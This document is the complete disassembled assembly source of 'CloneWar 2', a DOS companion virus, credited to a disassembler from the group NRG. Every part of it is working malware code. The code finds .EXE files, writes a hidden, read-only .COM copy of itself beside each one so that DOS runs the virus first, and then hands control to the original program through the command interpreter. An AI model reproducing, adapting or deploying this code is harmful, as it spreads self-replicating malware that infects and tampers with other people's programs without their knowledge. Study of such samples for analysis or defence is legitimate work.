CLONWAR 2
;
--------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
;
--------------------------------------------------------------------------
CSEG SEGMENT
ASSUME CS:CSEG,DS:NOTHING
ORG 100H
START:
jmp VIR_BEGIN
; db "[CloneWar2]"
WILDCARD DB "*.EXE",0
FILE_EXT DB "COM",0
FILE_FOUND DB 12 DUP(' '), 0
FILE_CREATE DB 12 DUP(' '), 0
SEARCH_ATTRIB DW 17H
NUM_INFECT DW 0
My_Cmd:
CMD_LEN DB 13
FILE_CLONE DB 12 DUP (' '), 0
Vir_begin:
mov sp,offset STACK_HERE
mov bx,sp
add bx,15
mov cl,4
shr bx,cl
mov ah,4ah
int 21h
mov di,OFFSET FILE_CLONE
mov si,OFFSET FILE_FOUND
mov cx,12
rep movsb
Read_dir: mov dx,OFFSET WILDCARD
mov cx,SEARCH_ATTRIB
mov ah,4Eh
int 21h
jc EXIT
Store_name:
mov di,OFFSET FILE_FOUND
mov si,158
mov cx,12
rep movsb
mov di,OFFSET FILE_CREATE
mov si,158
mov cx,12
rep movsb
cld
mov di,OFFSET FILE_CREATE
mov al,'.'
mov cx,9
repne scasb
mov si,OFFSET FILE_EXT
mov cx,3
rep movsb
Check_file:
mov dx,OFFSET FILE_CREATE
xor cx,cx
mov ax,3d00h
int 21h
jnc find_next
Infect_file:
mov dx,OFFSET FILE_CREATE
xor cx,cx
mov ah,3ch
int 21h
jc EXIT
xchg bx,ax
mov cx,(OFFSET END_OF_CODE - OFFSET START)
mov dx,OFFSET START
mov ah,40h
int 21h
;Close file
mov ah,3eh
int 21h
mov dx,OFFSET FILE_CREATE
mov cx,3
mov ax,4301h
int 21h
jmp prepare_command
find_next:
mov ah, 4fh
int 21h
jmp store_name
Prepare_command:
cld
mov di,OFFSET FILE_CLONE
mov al,0
mov cx,12
repne scasb
mov al,0Dh
stosb
mov ax,12
sub ax,cx
mov CMD_LEN, al
Exit:
mov si, OFFSET
MY_CMD
int 2Eh
mov ax,4C00H
int 21h
END_OF_CODE = $
STACK_HERE EQU END_OF_CODE + 512
CSEG ENDS
END START